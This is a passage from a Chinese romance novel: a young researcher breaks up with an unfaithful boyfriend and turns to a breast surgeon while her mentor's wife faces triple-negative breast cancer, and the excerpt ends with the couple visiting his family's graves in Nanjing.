后?来?他?们在一起后?,师母也总是叫他?们去家里吃饭,久而?久之?,导师和师母对待秦一鸣也像是对待自家晚辈一样。所以此时此刻,或许只有秦一鸣能理解她的崩溃。 话说一半,秦一鸣似是忽然意识到了不对劲,停下来?问她:“怎么了?出什么事了?” 视线中的那张脸逐渐扭曲。 谢一菲闭了闭眼,立刻感到天旋地转。 而?就在她摇摇欲坠的时候,秦一鸣将她拥入了怀中。 秦铮从不远处收回视线,重新发动车子朝着初涩的方向驶去. 第29章 第 29 章 分手 夜已深, 酒吧里却正热闹。 秦铮穿过深夜买醉的男男女?女?,找到了吧台边的宋良。 宋良看他一眼,对酒保说?:“给他来杯‘国贸渣男’。” 秦铮没心情?理会他的调侃, 问他:“今天怎么就你?一个人?” 宋良:“你?不?是不?喜欢和那帮人喝酒吗?以后都?不?叫他们了。” 秦铮:“你?也少喝点酒,就你?这样的,回头麻药都?得比别人打?得多。” “嘶,咒我是不?是?” 酒上来, 秦铮端起酒杯大大喝了一口。 宋良观察着他的神情?:“怎么觉得你?今天心情?不?好?” 秦铮想到夜色中相拥的那对男女?,不?置可否:“叫我来什?么事?” “主?要是喝酒,顺便帮朋友个小忙。” “什?么?” 宋良朝他身后瞥了一眼, 不?怀好意地笑?着。 秦铮顺着他的视线转头看去,恰和巧巧的目光对上。 宋良:“你?刚才不?是心情?不?好吗?现在好了吧?” 秦铮没回答宋良的问话, 他仰头喝掉杯子里的酒,转身往外走。 宋良的声音从身后传来:“喂, 我说?你?去哪啊?” “出去抽根烟。” 酒吧外的街道两旁种着高大的国槐, 这个时节枝桠繁茂遮天蔽日, 只能从树叶的缝隙中窥到一抹夜空的颜色。 秦铮点了支烟,深深地吸了一口,连同夏日的晚风一起吸进肺腑里。 远处传来“咚咚”的声音, 像人的心跳。他循声看过去,就看到三两高中生有说?有笑?地拍着篮球由远及近,然后从他面前经过。 他这才意识到已经八月底了, 学生们快开学了。 那谢一菲是不?是要回学校去了? 正在这时,身后忽然贴上一个柔软的身体?, 一双手臂像蛇一样紧紧环抱住了他。 …… 谢一菲难得睡了个懒觉,快到中午时才起床。 拿过手机看时间时,发?现某个微信群的未读消息已经是99+了。 这个群里都?是靶向药项目组的, 有她?的学生,也有明德的人。今天大家发?言都?很积极,谢一菲起初还以为他们在聊工作,爬了爬楼才发?现是在聊八卦。 忽然间,一张照片映入眼帘。 灯红酒绿的酒吧街边,高大的槐树下,穿着黑色衬衫和西裤的男人低头抽着烟,一个短头发? 的姑娘正从他身后抱着他。角度的原因,男人的脸色晦暗不?明,但巧巧的脸却很清晰,她?闭着眼,全身心地依附着男人,脸上的爱慕和依恋一目了然。 俊男靓女?,又是这么美?好的氛围,这照片简直可以做成海报了。 发?照片的学生问其他人:【快看,这是不?是秦医生?】 有人回:【还真是!那是她?女?朋友吗?真漂亮!】 【也不?一定就是女?朋友吧?】 【都?这样了不?是女?朋友还能是什?么关系?】 有人发?了个很暧昧的表情?包。 众人心照不?宣地沉默了片刻。 过了一会儿,又有人说?:【我之?前就听一个患者家属八卦过,说?秦医生的女?生缘特别好。】 【我也听说?了,说?秦医生什?么都?好,就是这私生活有点混乱……】 【没办法,谁让人家有风流的资本呢!】 谢一菲就像完全没看到这些八卦一样艾特刚才说?话的那学生:【16床患者用?药后有不?良反应吗?】 果然她?一出现,群里画风立刻变得严肃起来,也就没谁再提秦铮了。 聊完了正事,谢一菲疲惫地翻了个身,忽然发?现床头柜的水杯下压着一张字条,拿过来看,是秦一鸣端正的笔记:“好好休息,按时吃饭,低血糖可不?是小问题!” 想到夜色中等她?回家的秦一鸣,还有同样的夜色中那张照片里的秦铮、谢一菲的思绪更乱了。 …… 秦铮很快为虞洁安排了穿刺手术,隔周谢一菲就接到了病理科的电话,告诉她?化验结果出来了。 癌症和癌症也有不?同,对于非浸润性乳腺癌,也就是原位癌,预后好,术后生存期限相对长。但浸润癌的预后往往不?理想,生存期限也是因人而?异。 在结果出来之?前,谢一菲还寄希望于虞洁能是相对幸运的那个——如果恶性程度不?高,发?现尚早,治愈不?是没有希望。可是天不?遂人愿,虞洁的病理结果显示ER、PR、HER-2均为阴性,也就是传说?中“最毒”的三阴性乳腺癌。 三阴性乳腺癌的侵袭性和恶性程度比一般的乳腺癌高不?少,很容易复发?和转移,而?且治疗手段也不?如其他型乳腺癌多。 几年前,这个类型的癌症患者的五年存活率不?足一半,这几年的存活率虽然有了大幅提高,但早期的三阴性乳腺癌的五年存活率只有六七成,晚期更是只有一成。 这世上的事有时候真的很荒谬。导师李青山的毕生精力都在研发乳腺癌的靶向药上,就像周易芝说?的那样,他是对乳腺癌的诊疗做出过巨大贡献的人,可他最亲的人却难逃这样的厄运。 怎么办? 谢一菲拿着化验结果去找秦铮,却被告知他今天去分中心出诊了。 她?一直等到天色擦黑,也不?见他回来,而?且手机也始终无?法接通。 七点多的时候,有一位确诊不?到一年就复发?转移的患者做完手术被送回病房,一时间家属和医护人员将病区围得水泄不?通。 看着忙碌的众人,谢一菲忽然觉得很窒息。 下一个会是谁?会是虞洁吗? 她?收拾东西离开了医院。 不?能去看虞洁,因为她?怕自己的状态影响虞洁的情?绪,可是她?又不?想一个人回家待着。 漫无?目的地走了一段路,再抬起头时,发?现这里离秦一鸣家不?远。想到上次他让她?遇到事不?要一个人扛着,让她?尝试依靠他,空落落的心房里好像忽然就多了点勇气。 听说?秦母经常来这看儿子,谢一菲知道她?不?喜欢自己,所以为了避免遇上尴尬,她?就很少来这里。 见到她?,秦一鸣果然很意外:“你?怎么来了?” “路过你?家,在楼下看到灯亮着就上来了。” 他站在门口,一点没有将她?让进门的意思:“过来怎么也不?提前说?一声?” 谢一菲渐渐感觉出不?对劲来。 “你?妈不?会也在吧?” 说?着,她?往他身后看了一眼。就在这时,卧室里走出一人,却不?是秦母。 女?孩看着也就二十出头,一头浓密的长发?,皮肤很白皙,身上只穿着一件T恤,T恤下一双笔直修长的腿,很难不?让人想入非非。 对比起秦一鸣的反应,见到谢一菲的她?反而?看着很镇静,有种早有预料的坦然。 谢一菲的大脑在短暂的空白之?后开始闪回很多画面,一些问题也随之?浮出了水面…… 比如她?出院那天和他打?的那通电话里的笑?声到底属于谁?还有大雨那夜,他身边的人真是秦母吗? 人的记忆真的可怕,她?以为早在不?经意间放过的细节其实早就被大脑捕捉了下来,在这一刻全部调动了出来。 秦一鸣反手关上了门,阻断了谢一菲的视线。 “她?是谁?”她?听到自己平静地发?问。 秦一鸣没有回答,但他脸上心虚的表情?已经给了谢一菲答案。 谢一菲真不?懂这段时间究竟犯了什?么忌讳,为什?么糟心的事都?凑到了一起! 谢一菲:“我没记错的话她?身上的T恤是我买给你?的。” 他依旧没有回应她?,但看向她?的目光中写满了纠结。 谢一菲的心也在他的沉默中一点点变凉,凉透了。 “从什?么时候开始的?” 秦一鸣支支吾吾了好一会儿,最终疲惫地呼出一口气,像是放弃了挣扎:“三个月以前,我职称没评上,喝了点酒……” 算算时间,难道是秦铮把她?堵在酒吧门口的那一次吗? 那天秦铮问她?为什?么会选秦一鸣,还说?她?眼神不?好…… 他的提示已经很明显了,而?她?当时以为他只是为了羞辱她?打?击她?才说?了那些话,所以她?不?以为然,甚至觉得可笑?。 可如今看来,可笑?的人其实是她?,还说?什?么花心又冷酷的人太多了,至少秦一鸣专一有温度。 这话和说?这话的她?在如今看来都?是彻彻底底的笑?话。 “都?三个月了……”谢一菲点点头,“那你?可以早点跟我说?啊,为什?么拖着,怕我不?依不?饶吗?秦一鸣,你?也太瞧得起你?自己了……” “是!我知道!” 也不?知道是哪句话刺激到了秦一鸣,明明他刚才还一脸为难和心虚,此刻他却突然爆发?了。 “我知道,从始至终,你?心里根本就没有我!” 谢一菲震惊地看着他:“你?出轨了,你?怪我心里没有你??” 真可笑?。 秦一鸣:“好,你?说?你?心里有我,那现在我和别人好了,你?难受吗?” 谢一菲:“难道我该高兴吗?” “难道你?不?高兴吗?” “你?这话什?么意思?” 秦一鸣:“你?也早就想分手了,现在这样不?是正好让你?如愿了?” 谢一菲闻言微微一怔。 秦一鸣:“我说?对了是不?是?” 正式见过秦母之?后,谢一菲就意识到了两人不?合适,可毕竟相处了这么久,人是感情?动物,很难说?断就断。可是她?怎么也没想到,他们会以这样的方?式结束。 “如果知道会有今天,我会早点提分手。” 秦一鸣似笑?非笑?地说?:“分手才是你?的真实想法吧,现在终于不?用?有心理负担地说?出来了吧?” 谢一菲觉得他实在不?可理喻:“难道造成今天这局面的人是我吗?” “你?就没有责任吗?谢一菲,不?说?爱,就说?喜欢,你?真的喜欢过我吗?” 秦一鸣住的房子比谢一菲家还有年头,声控灯早就不?灵敏了,不?知道什?么时候就熄灭了。 谢一菲在黑暗中看着他:“你?觉得现在讨论这个合适吗?” “别的女?人见到男朋友和别人好了都?会伤心难过,会质问,会要求对方?解释,会挽留。可是你?呢?你?连多跟我说?一句都?懒得说?。” 谢一菲像是听了个笑?话:“所以现在是你?出轨了,怪我没有挽留你??” “谢一菲,不?喜欢就是不?喜欢,有那么难以启齿吗?” 她?对他的感情?的确到不?了爱的程度,但如果说?一点也不?喜欢,那她?又怎么会和他谈这么久的恋爱?而?且即便她?没那么爱他,却也不?妨碍她?交付的是一颗真心,不?妨碍这一年多的感情?是真的。 “如果这样想能让你?对自己的所作所为不?那么有负罪感的话,那你?就这么想吧。” “负罪感?”秦一鸣笑?了,“我凭什?么要有负罪感?在咱俩这段关系中,付出更多感情?的是我,先移情?别恋的人是你?!” 谢一菲都?开始怀疑是自己因为太过疲惫出现了幻听。 “你?究竟在说?什?么?” “从什?么时候开始打?算分手的?从你?第一次见到秦铮的时候,还是第二次?” 谢一菲怔了怔,原来在他看来她?是因为秦铮才想跟他分手的。 她?几乎要气笑?了:“随便你?怎么想吧。” 谢一菲觉得再多说?一句话都?是在浪费感情?和生命,她?转身要走,又被秦一鸣拉住。 他像着了魔一样不?依不?饶道:“你?怎么不?辩解?你?是不?知道该怎么为自己辩解了吧?我就后悔以前没早点发?现你?这么朝三暮四……” “啪”的一声,好像为周遭的一切按下了静止键,却让熄灭的声控灯再度亮起,照亮了他和她?的狼狈。 第30章 第 30 章 “你那个提议,我同意了…… 秦一鸣捂着脸, 不?可置信地看着她。 谢一菲觉得脑中嗡鸣不?断,好一会儿,周遭的声音才?再度涌入她的耳中。 她悄悄握紧颤抖的右手:“别把别人都想得跟你?一样?龌龊。” 以前谢一菲觉得软弱不?算什么太大的缺点, 这一刻她才?意识到自己错得有多离谱。 软弱不?只是脾气软性格软,承担责任承担过错也是需要勇气的,像秦一鸣这样?的人,他已经软弱到不?敢去?直面真相, 只会自欺欺人的把责任归结在别人的身上。 可她的犹豫不?决又何尝不?是一种软弱?是她让这段错误的关系没?有及时结束,最终变得彻底面目全非,甚至一点美?好的念想都没?有留下, 而留下的只有伤害和怨恨。 …… 从秦一鸣家出?来,谢一菲继续漫无目的地在街上走着。 正值盛夏, 虽然时间已经不?早了,但街上依旧热闹。有人惬意地散步遛狗, 有人和朋友打打闹闹, 有人行色匆匆往家赶, 只有她像是生活在异时空的人,和所有人都格格不?入。 忽然,路边一家店内传出?一阵欢呼声。谢一菲下意识停下脚步。这是一间酒吧, 隔着玻璃门,可以看到不?大的空间里聚集了一众男男女?女?,吧台上垂挂下来的电视大屏上正在直播球赛。酒吧里的人有的在看球, 有的和朋友聊天,还有人甚至在拿着笔记本工作。 谢一菲忽然很向往这种人声鼎沸的热闹。 她推开酒吧的大门, 立刻被喧闹的人声包围,像从一个世界跨入到了另一个世界。 她平时很少喝酒,也不?理解为什么有人爱喝酒, 直到酒精开始麻痹她的神经,让翻腾的思绪变得平静,让她开始感到疲惫也感到放松。 周遭的人声渐渐成了白噪音,让她昏昏欲睡…… 再次醒来时,她是被人推醒的……迷迷蒙蒙睁开眼,入眼的是一个过分高大的身影。 男人不?耐烦地抬手看时间:“你?看看现在几点了?” “什么几点了?”谢一菲眯着眼试图看清来人是谁。 眼前的人影渐渐清晰起来,秦铮微蹙眉头,一脸不?耐:“走吧,人家要关门了。” 怎么是他? “你?怎么来了?” “听说你?等了我一下午,刚忙完给你?回?电话,结果听你?胡言乱语了半小时。” 经他这么一提醒,谢一菲隐隐约约想起来自己刚才?好像确实跟什么人打过电话,原来是他。 谢一菲揉了揉昏昏沉沉的脑袋:“不?好意思啊,我说什么了?” “你?一点都想不?起来了?” 谢一菲仔细想了想,只依稀有她打过电话的印象,至于说了什么她确实不?记得了。但睡了一觉后,她倒是比之前清醒多了。 他看了眼她面前的酒杯问:“喝了这么多酒,就?因为和秦一鸣分手吗?” 看来她电话里没?少说。 她今天的崩溃固然有秦一鸣的功劳,但那还不?足以打倒她,最多只是压死骆驼的最后一根稻草。那究竟是什么让她如此崩溃? 或许是师母的病,是长久以来的负重?前行,也或许只是对命运的无奈和自己无法?改变这一切的懊恼。 “我师母的病理出?来了。” “我知道。”他神色稍缓,“太晚了,回?去?吧。” 见他叫来酒保结账,谢一菲想说她来结,但一起身忽然感到一阵天旋地转,然后她整个人就?失去?了平衡,栽进一个温暖的怀抱中。 耳边的人声渐渐远去?,身体?也不?再受她控制。她起初还挣扎,但很快没?了力气,只能任由?他抱着。 她闭着眼,靠在他身上,忍着一阵又一阵的难受。 不?知过了多久,再睁眼时她发现自己已经坐在了他的车上。 她费力地转过头去?看驾驶位上的人,看到他也正看着她。 她以为他还在怪她大半夜的给他找麻烦。 可他开口却是问她:“很难受吗?” 或许是酒精的缘故,她竟然从他这句问话中听出?几分关切的味道。 难得还有人关心她难受不?难受。 谢一菲说:“还好。” 他发动车子,过了半晌说:“没?想到你?和你?师母感情这么好。” 想到师母,谢一菲说:“她是个很好的人,也是个可怜人,中年丧子晚年丧夫,师弟师妹的感情和她没?那么深,所以她现在能依靠的只有我了。” 谢一菲第一次见虞洁,是研究生面试那天。 虞洁退休前一直负责研究生的招生工作,谢一菲从南京到北京参加研究生面试认识的第一位老师就?是虞洁。 当时虞洁听说她联系好的导师是李青山教授后,意味深长地朝她眨眨眼,还热情地邀请她日?后去?家里吃饭。 她没?想到初次见面的老师竟然会这么热情,直到很久以后才?知道,原来她就?是她导师的爱人。 导师严肃刻板,在教学和科研上一丝不苟,力图把他毕生所学毫无保留地传授给他们这些学生。而师母阳光热情,是和刘秀梅截然不?同的性格,却给了她母亲般的关爱。 多年的相处,她和导师、和师母已然成了亲人。 秦铮:“我一直以为她没?有儿子,没?想到竟然是去?世了。” “嗯,他早早就?被送出?去?读书,后来和人打架被击中后脑,抢救无效去?世的。”谢一菲叹了口气,“她的运气真的不?好,接二连三遭受打击,现在又得了这样?的病。” 他安慰她说:“三阴性乳腺癌确实比较凶险,但也不?是不?能治,这些年这个病的治愈率一直在稳步提升,你?们研发的那款药也能派上用场。” 谢一菲看向车子前方,此时街上早已没?了行人,一条干净的柏油马路笔直延伸到城市的尽头。 即便是在这样?的深夜,这座城市也是灯火通明的,但所有人都知道,总有光照不?到的地方。 这个时候师母在想什么?已经睡了,还是在独自流泪? 秦一鸣又在干什么?和那女?孩在一起的时候,有没?有哪怕一刻对她感到愧疚? 谢一菲:“我就?是唏嘘,有很多事或许早有预兆,但是人们总是习惯性的忽视它,等发现不?对劲的时候,什么都来不?及了。就?比如我师母这病,她最初只是撞了一下,可谁能想到那撞伤会癌变呢?” 还有秦一鸣,她早已察觉到他们之间并不?合适,可她一直掩耳盗铃,不?然他们或许不?至于发展到这一步。 秦铮:“虞老师左乳的改变并非是外伤导致的,可能只是撞伤出?现和病变能被发现的时间点恰巧重?合了而已。” “但几 个月前怎么什么都没?查出?来?是医生漏诊了吗?” “漏诊的概率极低。但是超声和钼靶的准确率并不?是百分之百的,所以医生才?会建议患者继续观察。” “看来医生的每一句话都不?是随便说的。”谢一菲无奈地笑了笑,“或许那一撞就?是老天在给我们最后的机会,可惜我们没?有把握住。” 这世上的事大抵都是如此,生的机会往往在不?经意间出?现,然后又稍纵即逝,等意识到的时候,早就?为时已晚了。 秦铮:“你?不?用自责,这种情况发生的概率确实很小。事已至此,我们能做的就?是积极治疗。” 他的话让谢一菲找回?一些理智:“你?说得对,那我们接下来该怎么做?” “虞老师的情况可以考虑采用改良根治术,可以保乳,也可以全切,虽然数据表明全部切除和部分切除对病人的生存时间没?有影响,对于有些早期乳腺癌患者,肿瘤切除加放化疗的效果并不?比整个乳、房切除差。不?过她的情况,我还是建议全切,不?知道她是不?是能接受。” 谢一菲印象中的虞洁总是端庄、得体?、爱美?的,即便是这个岁数了,失去?乳、房对她而言意味着什么恐怕也不?是旁人能体?会的。而且…… “化疗过程会很痛苦吧?头发会掉光吗?” “化疗没?那么可怕,其实就?是在她的静脉注射一种摧毁癌细胞的药物,药物随着血液循环可以到达身体?的每一个角落,自然也不?会放过每一个癌细胞。化疗或多或少会导致脱发,会到一个什么样?的程度,每个人情况不?同,但是有一点是可以肯定的,化疗不?会导致头发一次性掉光,而且化疗结束后,头发还会长出?来。” 谢一菲勉强笑了笑:“还好。” 秦铮:“还有什么问题,你?都可以问。” 谢一菲看向他:“她会死吗?” 明知道这是一句没?有意义的问话,但她还是像所有的患者家属那样?问了出?来。而她需要的也不?是作为医生的他专业的回?答,她需要的是作为医生的他给她的希望。 “不?出?意外的话,手术加辅助化疗会让她的病情得到有效控制,而且目前看她的情况也满足你?那个项目志愿者的条件,也可以配合靶向治疗,治愈的可能是存在的。”说到这里,他顿了顿,“无论如何,我会尽力。” 他声音沉稳,给人一种可以信服的力量。这一天发生了太多的事,也只有秦铮的这番话让她心里好受了不?少。 “谢谢。” 他们在空旷的马路上缓速行驶。 她降下车窗,感受着夏风吹拂过她的面颊,闻到夹在风中的淡淡花香。 她终于开始理解,为什么有那么多人在歌颂太阳歌颂风,歌颂花草歌颂所有稀松平常随处可见的事物,大约只是因为这些人渐渐意识到他们已经没?有大把的时间可以肆意挥霍了,那些随随便便就?能拥有的东西,或许会在未来的某一天变成一种奢侈。 临下车前,谢一菲也不?知道自己是怎么了,忽然就?下定了决心。 她说:“你?那个提议,我同意了。” …… 第 90 章 正文完 第90章 第 90 章 正文完 时间进入八月下旬, 距离开学没几天了,他?忽然问她过些天有没有时间陪他?去一趟上海。 谢一菲:“具体什么时间?” “没有意外?的话是下周五,周日回来。上海有所高校请主?任去讲课, 她老人?家嫌那边正热,这?活儿?就又落我头上了。” 谢一菲算了下时间,那时候已经开学了。 秦铮大概也想到了:“请两天假行吗?我这?一趟出去,要在外?面待好几天。” 这?言下之意就是她如果不跟着去, 那他?们就会有好几天见不到面。 他?们十几岁的时候,他?好像就是这?么黏人?。没想到现在三十几岁了还是这?样。 想到这?里,谢一菲忍不住笑了。 秦铮:“笑什么?” “没什么, 想到你要带我去玩儿?,所以挺高兴的。” “不只是玩儿?。”秦铮说, “去上海会路过南京,我想带你去见见我外?公外?婆和我妈。” 大概在秦铮看来, 只有他?外?公外?婆和他?母亲才是他?的亲人?, 他?提出带她去见见他?们, 就是愿意彻底地将过去和那个最真实的他?摊开在她的面前,也是认定了她。 谢一菲:“那我必须得?去。” 秦铮笑:“好,我一会儿?就订票。” 十年前那场懵懂的恋爱是他?们一同经历的一场青春的雨, 那时候的他?们还不懂喜欢和爱的区别?。而十年后?,宿命般的轮回下他?们再?次重逢,以成年人?的心态经历了人?世间的爱与痛, 在日升月沉和四季的轮转中?他?们看清了彼此的心,也真正懂得?了什么是爱。 …… 上海已经连续下了好几天的雨, 周六这?一天,雨依旧没有要停歇的意思。 讲座是上午九点开始,讲授内容加交流一共两个小时。 外?面在下雨, 秦铮想让谢一菲在酒店休息,但是谢一菲拒绝了。 她也想听听他?会讲些什么,更重要的是她还没有看过他?授课时的样子?。 邀请秦铮来开展讲座教学的是上海的一所医科院校,据说这?是校方的一个系列活动,秦铮只是受邀专家之一。 早上的雨并不大,整坐城市被?笼罩在朦胧的细雨中?。秦铮和谢一菲共撑一把从酒店借来的伞,出发去学校。 周六的校园静悄悄的,举行讲座的报告厅就在这?静悄悄的校园一角。 走到报告厅附近淋不到雨的地方时,谢一菲走在前面,秦铮落后?几步收着伞,负责对接秦铮的老师也恰在这?时候赶到并认出了秦铮。 此前秦铮婉拒了对方派车接送的好意,对方完全没想到秦铮会到的这?么早。两人?第?一次见面,在报告厅门口寒暄起来。那位老师大概以为谢一菲是来听讲座的学生,所以从始至终都只顾着和秦铮说话,没多看谢一菲一眼。 谢一菲这?个社恐人?士乐得?如此,在那位老师请秦铮去隔壁休息室休息的时候,她悄悄朝秦铮摆了摆手?,又指了指教室里面,示意她先去教室了,他?不用管她。 秦铮无奈笑了笑,跟着那位老师离开了。 谢一菲一个来蹭讲座的,进了教室后?很?自觉地找到最后?一排的位置坐了下来。 座位临近后?门,能清晰听到外?面的雨声,还有凉丝丝的风从门外?卷进来,让她不至于?感到窒闷难耐。 谢一菲读书时,B大也经常有这?样的活动,但那时候她很?少参加,一方面是活动总是占用周末的时间很?讨厌,另一方面是她感兴趣的主?题实在不多。 秦铮今天报告的主?题是《乳腺癌的综合治疗策略》。这?应该不算是一个很?“大众”的主?题,又是赶上这?样的天气这?样的周末,谢一菲本以为今天来参加讲座的学生不会很?多。没想到讲座开始的前十分钟,报告厅忽然就坐满了。最后?迟到的一对小情侣,只能很?遗憾地坐在了最后?一排谢一菲旁边的空位上。 那位负责此次活动的本校老师简单介绍秦铮后?,秦铮被?请到了台上。他?一出现,报告厅立刻掌声雷动。 秦铮明明是替周意芝来完成任务的,没想到当地师生这?么热情。 谢一菲有点好奇,问旁边的女生:“这?位秦医生很?有名吗?” “当然了!”女孩有点意外?地看向她,“你不知道他?吗?那怎么想到来听讲座?” 谢一菲:“我对今天的题目比较感兴趣。” 女孩了然点点头:“那你可来对了。秦医生很?厉害的,他?是我目前了解到的唯一一个半路出家学医还能在B大附属医院那种神仙打架的地方成为最年轻副主?任医师的狠人?。” 女孩不提谢一菲都快忘了,她所说的“半路出家”应该是指秦铮大一下学期转专业的事。说起来也就耽误了半年多而已,被?女孩说的这?么厉害。 谢一菲觉得?好笑。 那女孩看她这?表情,以为她是不以为然,那女生不服输地说:“他的教育背景和职业经历在国内已经非常顶尖了,网上都查的到。他还是核心期刊的常客,更是乳腺癌根治手?术联合□□再?造术最年轻的完成者之一。最最最重要的是,这?么优秀的他?,不老不秃还很?帅!咱们院论坛不是有个国内最帅医生排名吗?他?上榜很?久了,你没看到吗?” 谢一菲根本登不上人?家的校内论坛,正不知道怎么回答,女孩的男朋友轻嗤一声:“说来说去终于?说到点上了,还不是三观跟着五官走。” 女孩闻言立刻炸了毛,回头反驳男朋友:“我说错了吗?我哪点说的不对?” 女孩男朋友无奈地笑笑,学着女孩的口吻说:“没错没错,秦医生最棒啦!” 谢一菲也笑了,抬头看向讲台上的人?。 她见过手?术台上的他?,见过抢救危重症患者的他?,这?一次,是站在讲台上侃侃而谈分享成果的他?。她能清晰感受到他?对这?份事业的热爱。这?让她想到了她的老师李青山。外?人?看到的那些优秀的履历其实是他?们数十年如一日心血的凝聚。这?一刻谢一菲是动容的,为自己曾站在他?们身侧而与有荣焉。 似乎是她的目光太过灼热,视线中?的年轻男人?忽然似有所感地看过来。 “哇哦!”旁边女孩小声惊呼,“他?刚才在看谁,他?在看我是不是?” 她男朋友一脸无语:“你那么聒噪,整个汇报厅都能听见,人?家只是看你一眼没对你扔粉笔头都是很?给你面子?了。” 谢一菲差点笑出声来。她已经好久没有见过这?么可爱的小情侣了。 她想到了自己,她也曾在这?个年纪谈过一段简单纯粹的恋爱。 那时候她满心满眼都是他?,做什么事都能想到他?,比如星座运势首先会去看他?的,她会记得?他?爱吃甜不爱吃辣,有什么有趣的小事都想第?一时间跟他?分享……当时那些或许还不能算□□,但是经过时间的涤荡和无数的考验,他?们依旧站在彼此身边,这?应该算是爱了吧。 讲课的部分已经接近尾声,接下来就是提问环节。 听学生们提问,谢一菲才知道,这?里的几百人?有本科生有研究生,有甲乳方向的,也有其他?相关专业的,有慕名来凑热闹的,也有真的想学知识的。 交流的氛围很?好,谢一菲很?庆幸自己跟着来了。 最后?一名女生在提问完专业问题后?,忽然问秦铮:“我能问个私人?问题吗?” 这?场面似曾相识,谢一菲直觉不太好,但那女生没等到秦铮的首肯就继续问道:“您是单身吗?” 台下哗然。众人?有起哄女生勇敢的,有看戏般等着看秦铮如何回应的。 秦铮低头整理桌上的笔记本,嘴角挂着 一抹浅笑,像是有点无奈,总之并没有被?冒犯到的感觉。但当他?再?抬起头时,众人?还是不约而同地安静了下来。 他?很?自然地朝着汇报厅后?排的方向比了个手?势,在所有人?不明所以的注视下说:“最后?一排左边第?三位,我女朋友。” 下一秒,谢一菲感觉到了几百人?齐齐投射过来的目光,包括她身边的那对小情侣。 整个报告厅里像是一口沸腾的锅,成了这?静谧校园中?独特的存在。 这?时候负责对接秦铮的那位老师适时上台,很?官方地说了一大堆感谢的话,结束了这?场交流活动。 活动结束后?,那位老师为自己的“疏忽”——没照顾到谢一菲再?三道歉,并且邀请他?们二?人?和院领导一起吃个午饭。秦铮婉拒了对方的好意,说还有其他?的事情要赶去南京,对方也就没再?坚持。 这?时候的雨比来时更小,空气中?弥漫着泥土的清香。讲座结束有一会儿?了,学生们都散了,这?座校园又恢复了宁静。谢一菲很?喜欢假期的时候穿行在空荡荡的校园里,就像今天这?样。她心情很?好,一高兴就挽起秦铮的手?臂。 在外?面,他?们很?少有什么亲昵的举动,但这?里是上海,不会遇到熟人?,也不会有尴尬和需要解释的时候。 正在这?时,一辆自行车从他?们身边经过。 后?座上的女生热情地和他?们打着招呼:“秦医生!美女小姐姐!你们好般配哦!” 刚还想着这?里没有熟人?,这?就遇上个自来熟的,是刚才坐在谢一菲身边的那个小姑娘。 秦铮笑笑,像是对对方的回应。 蹬车的男孩子?也回过头来,朝他?们挥了挥手?。 望着他?们消失的身影,谢一菲感慨:“年轻真好呀!” 秦铮瞥她一眼:“有什么好的,还没到法?定结婚年龄吧?” 到了法?定结婚年龄是什么值得?骄傲的事情吗?谢一菲真有点搞不懂他?在想什么。 回到酒店简单吃了个午饭,他?们又马不停蹄地赶去南京。 直到傍晚时分,他?们才站在了江宁的墓园里。 秦铮的外?公去世很?早,谢一菲对他?几乎没什么印象,此时再?看墓碑上那张照片倒是和秦铮有几分相像。秦铮外?公的墓碑旁边是楚星河的墓碑。原来楚奶奶竟然有这?么好听的名字。照片中?的楚奶奶慈眉善目,和谢一菲记忆中?的样子?几乎没什么差别?。 谢一菲忽然又想起楚奶奶被?救护车带走的那一天,她只当那是寻常的一天,但是那天之后?楚奶奶再?没有回过他?们那个家属院。 秦铮说:“我没有见到我外?婆最后?一面,但是我把她送到了这?里,也算我送了她最后?一程。” 她说这?些年他?很?少回来,但是看这?里的情况就知道这?里不是无人?问津,墓碑周围很?干净,一看就是经常有人?来打扫。他?不愿意回来因为这?里是他?的伤心地,但他?从来没有忘记外?婆,并且长久以来被?没能见到老人?最后?一面的遗憾折磨着。 他?们上来前在山下买了三捧花,两捧放在了秦铮外?公和外?婆的墓前。此刻,他?把最后?一捧花放在楚奶奶另一侧刻着“江悦”名字的墓碑前。 秦铮说:“这?是我母亲。” 谢一菲看向墓碑上的照片,那是很?清秀的一张脸,照片上的女人?年纪大约三十多岁,应该是在她患病之前。楚奶奶和丈夫的长相其实只算普通,但是他?们却生出了一位吸取了父母长相优点的女儿?。她有着一头浓密的头发,小小的瓜子?脸,饱满的额头,清澈的双眼,秀挺的鼻,笑起来时酒窝浅现。这?么看秦铮的长相大半随了母亲。 秦铮半蹲在江悦的墓碑前,看着照片中?的母亲,像是日常闲聊般地说:“妈,今天我带了个人?来见您,她是我住在外?婆家时认识的女孩,她叫谢一菲。” 秦铮也没说什么煽情的话,但不知道为什么,看到这?一幕,谢一菲就觉得?鼻子?酸酸的. 他?们并没有在墓园待太久,但因为来的就晚,又赶上阴天,出来时天色已经很?昏暗了。厚厚的云层遮住了最后?一片日光,天地间很?沉闷,隐隐有风,像是马上要下雨了。 谢一菲回头望去,一个个墓碑整齐排列着,在这?样的天色下显得?有些森然,可是是人?终究有这?么一天。 她不知道人?死前会想些什么,不知道会不会像影视作品和小说描述的那样,经历的过往会像走马灯一样在脑中?闪回。 到时候她的脑中?会出现什么样的画面呢?她又将如何评判自己的这?一生呢? “在想什么?”秦铮问。 谢一菲挽起他?的胳膊:“他?们看到现在的你,一定觉得?很?欣慰。尤其是阿姨。” 在她了解到他?母亲的事之前,她一直不明白秦铮当年明明报考了计算机专业,怎么又成了医生。后?来她明白了,是江悦的突然病逝,让他?找到了新的人?生目标——江悦已经离开了,但是还有无数像江悦一样被?乳腺癌折磨着的母亲和妻子?,他?尊重她们也怜悯她们,所以想要尽其所能挽救她们的生命。 秦铮似乎是随口问道:“欣慰什么?” 谢一菲:“欣慰你是一位好医生呀。你是不知道今天坐我旁边那小姑娘怎么夸你的。” 秦铮笑了笑:“其实,我一度差点放弃。” “为什么?” “每次看到她们被?病痛折磨,我就会想我妈是不是也经历过这?些,严重的溃烂、感染,甚至被?癌臭困扰着,失去□□还不够,还要失去爱,失去正常有尊严的生活……遇到她们有人?离开,我也会觉得?非常的难过和挫败,很?长时间都无法?从那种打击中?走出来。” 谢一菲又想起何婷婷对他?的评价——最有温度的医生。所以在其他?人?看来他?近乎于?麻木的冷漠,其实都是他?掩饰情绪的保护色而已。 谢一菲轻声问:“所以,我师母去世时你才会那么难过吗?” 这?是长久以来,他?们第?一次提到这?个敏感的话题。 他?呼出一口气:“虞老师和我妈很?像。” 一样被?丈夫背叛,一样有一个不懂事的儿?子?,一样罹患了乳腺癌。 秦铮:“因为她和我妈很?像,还因为她是你在意的人?,所以我特别?想要治好她。我治愈过不少患者,多她一个不多。可偏偏那结局是我最不愿意看到的。” 